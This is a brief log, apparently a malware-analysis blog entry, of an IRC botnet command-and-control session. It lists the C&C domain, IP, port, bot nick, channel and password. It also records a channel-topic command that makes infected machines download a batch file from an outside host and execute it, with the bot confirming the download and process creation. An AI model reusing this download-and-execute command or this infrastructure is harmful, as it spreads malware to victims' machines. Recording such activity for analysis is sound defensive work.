Botnet C&C irc
wintalk.are.lamahs.co.cc DNS_TYPE_A 178.32.18.248
wintalk.are.lamahs.co.cc:8080
Nick: [LN]AUS|XP|SP3|9689[00]
Username: XP-4027
Joined Channel: #`ntcity`# with Password loltarded
Channel Topic for Channel #`ntcity`#: “+take http://richardg.fileave.com/noeabx.bat C:WINDOWSTempsystem.bat 1”
Private Message to Channel #`ntcity`#: “Leech../ File download: 0.4KB to: C:WINDOWSTempsystem.bat @ 0.4KB/sec.”
Private Message to Channel #`ntcity`#: “Leech../ Created process: “C:WINDOWSTempsystem.bat”, PID: <1808>”
Process Created
C:WINDOWSmsshell.exe
Categories: Uncategorized